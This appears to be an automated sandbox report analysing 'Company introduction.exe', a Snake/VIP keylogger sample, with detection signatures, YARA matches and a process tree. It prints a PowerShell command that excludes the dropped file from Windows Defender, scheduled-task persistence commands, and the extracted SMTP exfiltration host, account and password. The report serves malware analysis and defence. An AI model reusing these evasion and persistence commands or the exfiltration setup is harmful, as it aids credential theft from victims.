Edit tour

Windows Analysis Report
Company introduction.exe

Overview

General Information

Sample name:	Company introduction.exe
Analysis ID:	1591636
MD5:	10f72e53a2c9f106093c233b56a3a819
SHA1:	e8a63836ff90493559b69a1bc6d6080ba9370a99
SHA256:	84e892d4627a3a3aa053b30200788bd6942c046d2dadcf5121017a32e10142f2
Tags:	exeMassLoggerRFQuser-cocaman
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Company introduction.exe (PID: 7452 cmdline: "C:\Users\user\Desktop\Company introduction.exe" MD5: 10F72E53A2C9F106093C233B56A3A819)

powershell.exe (PID: 7652 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FzXKnGk.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7948 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7700 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Company introduction.exe (PID: 7812 cmdline: "C:\Users\user\Desktop\Company introduction.exe" MD5: 10F72E53A2C9F106093C233B56A3A819)

FzXKnGk.exe (PID: 7888 cmdline: C:\Users\user\AppData\Roaming\FzXKnGk.exe MD5: 10F72E53A2C9F106093C233B56A3A819)

schtasks.exe (PID: 8024 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpEF32.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FzXKnGk.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Roaming\FzXKnGk.exe" MD5: 10F72E53A2C9F106093C233B56A3A819)

FzXKnGk.exe (PID: 8144 cmdline: "C:\Users\user\AppData\Roaming\FzXKnGk.exe" MD5: 10F72E53A2C9F106093C233B56A3A819)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "logs@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "logs@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e710:$a1: get_encryptedPassword 0x2ec98:$a2: get_encryptedUsername 0x2e383:$a3: get_timePasswordChanged 0x2e49a:$a4: get_passwordField 0x2e726:$a5: set_encryptedPassword 0x31442:$a6: get_passwords 0x317d6:$a7: get_logins 0x3142e:$a8: GetOutlookPasswords 0x30de7:$a9: StartKeylogger 0x3172f:$a10: KeyLoggerEventArgs 0x30e87:$a11: KeyLoggerEventArgsEventHandler
0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xaa0:$a1: get_encryptedPassword 0x1028:$a2: get_encryptedUsername 0x713:$a3: get_timePasswordChanged 0x82a:$a4: get_passwordField 0xab6:$a5: set_encryptedPassword 0x37d2:$a6: get_passwords 0x3b66:$a7: get_logins 0x37be:$a8: GetOutlookPasswords 0x3177:$a9: StartKeylogger 0x3abf:$a10: KeyLoggerEventArgs 0x3217:$a11: KeyLoggerEventArgsEventHandler
0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ebf8:$a1: get_encryptedPassword 0x71c18:$a1: get_encryptedPassword 0x2f180:$a2: get_encryptedUsername 0x721a0:$a2: get_encryptedUsername 0x2e86b:$a3: get_timePasswordChanged 0x7188b:$a3: get_timePasswordChanged 0x2e982:$a4: get_passwordField 0x719a2:$a4: get_passwordField 0x2ec0e:$a5: set_encryptedPassword 0x71c2e:$a5: set_encryptedPassword 0x3192a:$a6: get_passwords 0x7494a:$a6: get_passwords 0x31cbe:$a7: get_logins 0x74cde:$a7: get_logins 0x31916:$a8: GetOutlookPasswords 0x74936:$a8: GetOutlookPasswords 0x312cf:$a9: StartKeylogger 0x742ef:$a9: StartKeylogger 0x31c17:$a10: KeyLoggerEventArgs 0x74c37:$a10: KeyLoggerEventArgs 0x3136f:$a11: KeyLoggerEventArgsEventHandler
0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e280:$a1: get_encryptedPassword 0x712a0:$a1: get_encryptedPassword 0xb40c0:$a1: get_encryptedPassword 0x2e808:$a2: get_encryptedUsername 0x71828:$a2: get_encryptedUsername 0xb4648:$a2: get_encryptedUsername 0x2def3:$a3: get_timePasswordChanged 0x70f13:$a3: get_timePasswordChanged 0xb3d33:$a3: get_timePasswordChanged 0x2e00a:$a4: get_passwordField 0x7102a:$a4: get_passwordField 0xb3e4a:$a4: get_passwordField 0x2e296:$a5: set_encryptedPassword 0x712b6:$a5: set_encryptedPassword 0xb40d6:$a5: set_encryptedPassword 0x30fb2:$a6: get_passwords 0x73fd2:$a6: get_passwords 0xb6df2:$a6: get_passwords 0x31346:$a7: get_logins 0x74366:$a7: get_logins 0xb7186:$a7: get_logins
Process Memory Space: Company introduction.exe PID: 7452	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Company introduction.exe PID: 7452	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Company introduction.exe PID: 7452	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Company introduction.exe PID: 7452	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Company introduction.exe PID: 7452	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xa123e:$a1: get_encryptedPassword 0xa17bc:$a2: get_encryptedUsername 0xa0ec0:$a3: get_timePasswordChanged 0xa0fd7:$a4: get_passwordField 0xa1254:$a5: set_encryptedPassword 0xa3f18:$a6: get_passwords 0xa42a8:$a7: get_logins 0xa3f04:$a8: GetOutlookPasswords 0xa38bd:$a9: StartKeylogger 0xa4201:$a10: KeyLoggerEventArgs 0xa395d:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Company introduction.exe PID: 7812	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Company introduction.exe PID: 7812	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: FzXKnGk.exe PID: 7888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FzXKnGk.exe PID: 7888	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: FzXKnGk.exe PID: 7888	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: FzXKnGk.exe PID: 7888	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: FzXKnGk.exe PID: 7888	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3dae:$a1: get_encryptedPassword 0x19bc2:$a1: get_encryptedPassword 0x432c:$a2: get_encryptedUsername 0x1a140:$a2: get_encryptedUsername 0x3a30:$a3: get_timePasswordChanged 0x19844:$a3: get_timePasswordChanged 0x3b47:$a4: get_passwordField 0x1995b:$a4: get_passwordField 0x3dc4:$a5: set_encryptedPassword 0x19bd8:$a5: set_encryptedPassword 0x6a88:$a6: get_passwords 0x1c89c:$a6: get_passwords 0x6e18:$a7: get_logins 0x1cc2c:$a7: get_logins 0x6a74:$a8: GetOutlookPasswords 0x1c888:$a8: GetOutlookPasswords 0x642d:$a9: StartKeylogger 0x1c241:$a9: StartKeylogger 0x6d71:$a10: KeyLoggerEventArgs 0x1cb85:$a10: KeyLoggerEventArgs 0x64cd:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: FzXKnGk.exe PID: 8144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FzXKnGk.exe PID: 8144	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: FzXKnGk.exe PID: 8144	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: FzXKnGk.exe PID: 8144	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd6c58:$a1: get_encryptedPassword 0xd71d6:$a2: get_encryptedUsername 0xd68da:$a3: get_timePasswordChanged 0xd69f1:$a4: get_passwordField 0xd6c6e:$a5: set_encryptedPassword 0xd9932:$a6: get_passwords 0xd9cc2:$a7: get_logins 0xd991e:$a8: GetOutlookPasswords 0xd92d7:$a9: StartKeylogger 0xd9c1b:$a10: KeyLoggerEventArgs 0xd9377:$a11: KeyLoggerEventArgsEventHandler
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.FzXKnGk.exe.4405f58.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.FzXKnGk.exe.4405f58.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.FzXKnGk.exe.4405f58.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.FzXKnGk.exe.4405f58.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
7.2.FzXKnGk.exe.4405f58.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3946e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b11:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d6e:$a4: \Orbitum\User Data\Default\Login Data 0x3974d:$a5: \Kometa\User Data\Default\Login Data
7.2.FzXKnGk.exe.4405f58.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
0.2.Company introduction.exe.4e9a600.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Company introduction.exe.4e9a600.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Company introduction.exe.4e9a600.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Company introduction.exe.4e9a600.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
7.2.FzXKnGk.exe.4448f78.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.FzXKnGk.exe.4448f78.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.FzXKnGk.exe.4448f78.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Company introduction.exe.4e9a600.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3946e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b11:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d6e:$a4: \Orbitum\User Data\Default\Login Data 0x3974d:$a5: \Kometa\User Data\Default\Login Data
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
0.2.Company introduction.exe.4e575e0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.FzXKnGk.exe.4448f78.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
7.2.FzXKnGk.exe.4448f78.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3946e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b11:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d6e:$a4: \Orbitum\User Data\Default\Login Data 0x3974d:$a5: \Kometa\User Data\Default\Login Data
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b26e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a911:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab6e:$a4: \Orbitum\User Data\Default\Login Data 0x3b54d:$a5: \Kometa\User Data\Default\Login Data
7.2.FzXKnGk.exe.4448f78.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
7.2.FzXKnGk.exe.4448f78.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
0.2.Company introduction.exe.4e9a600.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
0.2.Company introduction.exe.4e575e0.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Company introduction.exe.4e575e0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Company introduction.exe.4e575e0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
0.2.Company introduction.exe.4e575e0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3946e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b11:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d6e:$a4: \Orbitum\User Data\Default\Login Data 0x3974d:$a5: \Kometa\User Data\Default\Login Data
0.2.Company introduction.exe.4e575e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70cc0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71248:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70933:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x70a4a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70cd6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x739f2:$a6: get_passwords 0x30d66:$a7: get_logins 0x73d86:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x739de:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x73397:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x73cdf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b26e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e28e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a911:$a3: \Google\Chrome\User Data\Default\Login Data 0x7d931:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab6e:$a4: \Orbitum\User Data\Default\Login Data 0x7db8e:$a4: \Orbitum\User Data\Default\Login Data 0x3b54d:$a5: \Kometa\User Data\Default\Login Data 0x7e56d:$a5: \Kometa\User Data\Default\Login Data
7.2.FzXKnGk.exe.4405f58.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x72084:$s1: UnHook 0x2f06b:$s2: SetHook 0x7208b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x72093:$s3: CallNextHook 0x2f080:$s4: _hook 0x720a0:$s4: _hook
0.2.Company introduction.exe.4e9a600.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Company introduction.exe.4e9a600.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Company introduction.exe.4e9a600.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Company introduction.exe.4e9a600.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Company introduction.exe.4e9a600.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70ac0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71048:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70733:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x7084a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70ad6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x737f2:$a6: get_passwords 0x30d66:$a7: get_logins 0x73b86:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x737de:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x73197:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x73adf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
0.2.Company introduction.exe.4e9a600.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b26e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e08e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a911:$a3: \Google\Chrome\User Data\Default\Login Data 0x7d731:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab6e:$a4: \Orbitum\User Data\Default\Login Data 0x7d98e:$a4: \Orbitum\User Data\Default\Login Data 0x3b54d:$a5: \Kometa\User Data\Default\Login Data 0x7e36d:$a5: \Kometa\User Data\Default\Login Data
0.2.Company introduction.exe.4e9a600.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x71e84:$s1: UnHook 0x2f06b:$s2: SetHook 0x71e8b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x71e93:$s3: CallNextHook 0x2f080:$s4: _hook 0x71ea0:$s4: _hook
0.2.Company introduction.exe.4e575e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Company introduction.exe.4e575e0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Company introduction.exe.4e575e0.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Company introduction.exe.4e575e0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Company introduction.exe.4e575e0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70cc0:$a1: get_encryptedPassword 0xb3ae0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71248:$a2: get_encryptedUsername 0xb4068:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70933:$a3: get_timePasswordChanged 0xb3753:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x70a4a:$a4: get_passwordField 0xb386a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70cd6:$a5: set_encryptedPassword 0xb3af6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x739f2:$a6: get_passwords 0xb6812:$a6: get_passwords 0x30d66:$a7: get_logins 0x73d86:$a7: get_logins 0xb6ba6:$a7: get_logins
